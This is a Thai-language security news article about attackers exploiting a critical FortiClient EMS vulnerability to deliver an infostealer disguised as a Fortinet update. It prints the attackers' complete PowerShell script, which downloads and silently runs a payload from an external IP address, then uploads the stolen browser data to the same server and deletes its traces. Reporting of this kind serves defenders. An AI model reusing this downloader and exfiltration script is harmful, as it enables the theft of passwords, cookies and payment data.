วันที่ 4 มิถุนายน 2569

กลุ่มผู้ไม่หวังดีใช้ช่องโหว่ร้ายแรงของ FortiClient EMS เพื่อกระจายมัลแวร์ขโมยข้อมูล

กลุ่มผู้ไม่หวังดีกำลังใช้ประโยชน์จากช่องโหว่ด้านความปลอดภัยระดับวิกฤตที่ได้รับการแก้ไขแล้ว ซึ่งส่งผลกระทบต่อระบบ FortiClient Endpoint Management Server (EMS) เพื่อแพร่กระจายมัลแวร์ขโมยข้อมูลตระกูลที่เรียกว่า "EKZ Infostealer" แคมเปญนี้อาศัยโครงสร้างพื้นฐานการจัดการอุปกรณ์ปลายทางที่ได้รับความไว้วางใจในการกระจายมัลแวร์ไปยังเครื่องลูกข่ายที่อยู่ภายใต้การจัดการ โดยผู้โจมตีปลอมตัวมัลแวร์ขโมยข้อมูลให้ดูเหมือนเป็นการอัปเดตของ Fortinet และสั่งรันไฟล์อันตรายผ่าน PowerShell แบบเงียบๆ โดยที่ผู้ใช้อาจไม่สังเกตเห็น

รายละเอียดช่องโหว่ CVE-2026-35616 และการยกระดับสิทธิ์

กิจกรรมดังกล่าวถูกตรวจพบในช่วงเดือนพฤษภาคม 2026 โดยอาศัยการโจมตีช่องโหว่CVE-2026-35616 (คะแนน CVSS 9.1) ซึ่งเป็นช่องโหว่ระดับวิกฤตที่เปิดโอกาสให้ผู้โจมตีสามารถข้ามการยืนยันตัวตนของAPI และยกระดับสิทธิ์การเข้าถึงได้ก่อนเข้าสู่ระบบ (Pre-Authentication API Access Bypass Leading to Privilege Escalation)

Fortinet ได้ออกแพตช์แก้ไขช่องโหว่นี้แล้วใน FortiClient EMS เวอร์ชัน 7.4.7 และเวอร์ชันที่ใหม่กว่า หลังจากเจาะระบบสำเร็จ ผู้โจมตีจะทำการแก้ไขการตั้งค่าบางส่วนเพื่อเลื่อนการแจ้งเตือนอัปเกรดเฟิร์มแวร์ออกไป รวมถึงปรับแต่งการตั้งค่า Remote Access Profile และนโยบายของอุปกรณ์ปลายทาง (Endpoint Policy) เพื่อแทรกสคริปต์อันตรายสำหรับสั่งรันบนเครื่องลูกข่าย

Arctic Wolf ระบุเพิ่มเติมว่า รูปแบบการทำงานที่พบแสดงให้เห็นว่า ผู้โจมตีใช้ช่องทางการจัดการของ FortiClient เองในการส่งคำสั่งPowerShell ที่เป็นอันตรายไปยังอุปกรณ์ปลายทางภายใต้การจัดการ โดยทำให้ดูคล้ายกับการดำเนินงานด้านการจัดการระบบตามปกติ เมื่อผู้โจมตีสามารถแก้ไขการตั้งค่าที่EMS ใช้บริหารจัดการอุปกรณ์ได้แล้ว เครื่องลูกข่ายทุกเครื่องที่อยู่ภายใต้การจัดการก็อาจกลายเป็นเป้าหมายในการรันโค้ดอันตรายได้ทันที โดยไม่จำเป็นต้องเจาะเข้าสู่แต่ละเครื่องแยกกันอีก

```
powershell -w 1
$Url = "http://83.138.53.110/dl/p.exe";
$Out = "C:\programdata\FortiEndpoint_Patch.exe";
if (-not $Out) {
    $Out = [System.IO.Path]::GetFileName(([uri]$Url).LocalPath);
    if (-not $Out) { $Out = "downloaded_file" }
};
$Out = [System.IO.Path]::GetFullPath($Out);
$ok = $false;
if (-not $ok) {
    try {
        Invoke-WebRequest -Uri $Url -OutFile $Out -UseBasicParsing -EA Stop;
        $ok = $true
    } catch {}
};
if (-not $ok) {
    try {
        $wc = New-Object System.Net.WebClient;
        $wc.DownloadFile($Url, $Out);
        $ok = $true
    } catch {} finally {
      if ($wc) { $wc.Dispose() }
    }
};
if (-not $ok) {
    try {
        Import-Module BitsTransfer -EA Stop;
        Start-BitsTransfer -Source $Url -Destination $Out -EA Stop;
        $ok = $true
    } catch {}
};
if (-not $ok) {
    try {
        & (Get-Command curl.exe -EA Stop).Source -L -o $Out $Url --fail --silent;
        if ($LASTEXITCODE -eq 0) { $ok = $true }
    } catch {}
};

cd C:\programdata\;
Start-Process -WindowStyle Hidden $Out;
Start-Sleep -Milliseconds 90000;
$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\programdata\log.txt"));
$wc=New-Object System.Net.WebClient;
$wc.UploadString("http://83.138.53.110/service/save.php","POST","content=$([uri]::EscapeDataString($b))");
del C:\programdata\log.txt;
del C:\programdata\FortiEndpoint_Patch.exe;
```

ขั้นตอนการทำงานของมัลแวร์และการขโมยข้อมูล

นอกจากนี้ ยังพบว่าการโจมตีใช้ไฟล์ "fortitray.exe" ซึ่งเป็นโปรแกรมที่ถูกต้องตามปกติของ FortiClient ในการเรียกใช้งานไฟล์สคริปต์ .cmd ผ่าน "cmd.exe" ไฟล์ .cmdดังกล่าวจะทำหน้าที่เรียกใช้ PowerShell Script ที่ถูกเข้ารหัสแบบ Base64 ซึ่งจะดาวน์โหลดเพย์โหลดอันตรายมาทำงาน จากนั้นจึงส่งข้อมูลที่ขโมยมาได้ไปยังเซิร์ฟเวอร์ของผู้โจมตีที่ IP "83.138.53[.]110" ผ่านคำสั่ง HTTP POST

ไฟล์ปฏิบัติการที่ใช้ชื่อว่า "FortiEndpoint_Patch.exe"ถูกปลอมตัวให้ดูเหมือนแพตช์อัปเดตของระบบ แต่แท้จริงแล้วเป็นมัลแวร์ขโมยข้อมูลบนระบบ Windows ที่ไม่เคยมีการเปิดเผยมาก่อน มัลแวร์ตัวนี้สามารถรวบรวมข้อมูลสำคัญได้หลายประเภท เช่น

- รหัสผ่านที่บันทึกไว้ในเบราว์เซอร์
- คุกกี้การเข้าสู่ระบบ
- ข้อมูลกรอกอัตโนมัติ (Autofill)
- ข้อมูลบัตรเครดิต
- ที่อยู่
- หมายเลขโทรศัพท์

โดยรองรับการขโมยข้อมูลจากทั้งเบราว์เซอร์ตระกูล Chromium และ Gecko ข้อมูลที่ถูกขโมยจะถูกบันทึกลงในไฟล์Log และเก็บไว้ภายในโฟลเดอร์ ProgramData ของระบบ

ทั้งนี้ มัลแวร์ดังกล่าวไม่มีความสามารถในการส่งข้อมูลออกไปยังภายนอกด้วยตัวเอง โดยการส่งข้อมูลที่ขโมยมาได้กลับไปยังผู้โจมตีนั้น จะดำเนินการผ่าน PowerShell Script ที่ถูกเรียกใช้งานในขั้นตอนก่อนหน้า

ผลกระทบและบทสรุป

Arctic Wolf สรุปว่า ด้วยการข้ามระบบยืนยันตัวตนของ APIและเข้าใช้งานฟังก์ชันต่างๆ ของ EMS ในบริบทที่มีสิทธิ์ระดับสูง ผู้โจมตีจึงสามารถแก้ไขการตั้งค่าการจัดการระบบ และผลักดันสคริปต์อันตรายให้ถูกนำไปรันบนอุปกรณ์ปลายทางที่อยู่ภายใต้การจัดการได้ คุกกี้ของเซสชันและข้อมูลรับรองที่ถูกบันทึกไว้ในเบราว์เซอร์ อาจเปิดโอกาสให้ผู้โจมตีนำไปใช้เข้าถึงบริการคลาวด์ แอปพลิเคชันภายในองค์กร หรือทรัพยากรอื่นๆ ที่ต้องมีการยืนยันตัวตนได้ในภายหลัง รวมถึงในบางกรณี การใช้เซสชันที่ถูกขโมยมาอาจช่วยให้ผู้โจมตีหลีกเลี่ยงกระบวนการยืนยันตัวตนแบบหลายปัจจัย (MFA) ได้อีกด้วย

ข้อมูลอ้างอิง

May 28, 2026, By Ravie Lakshmanan

- https://thehackernews.com/2026/05/threat-actors-exploit-critical.html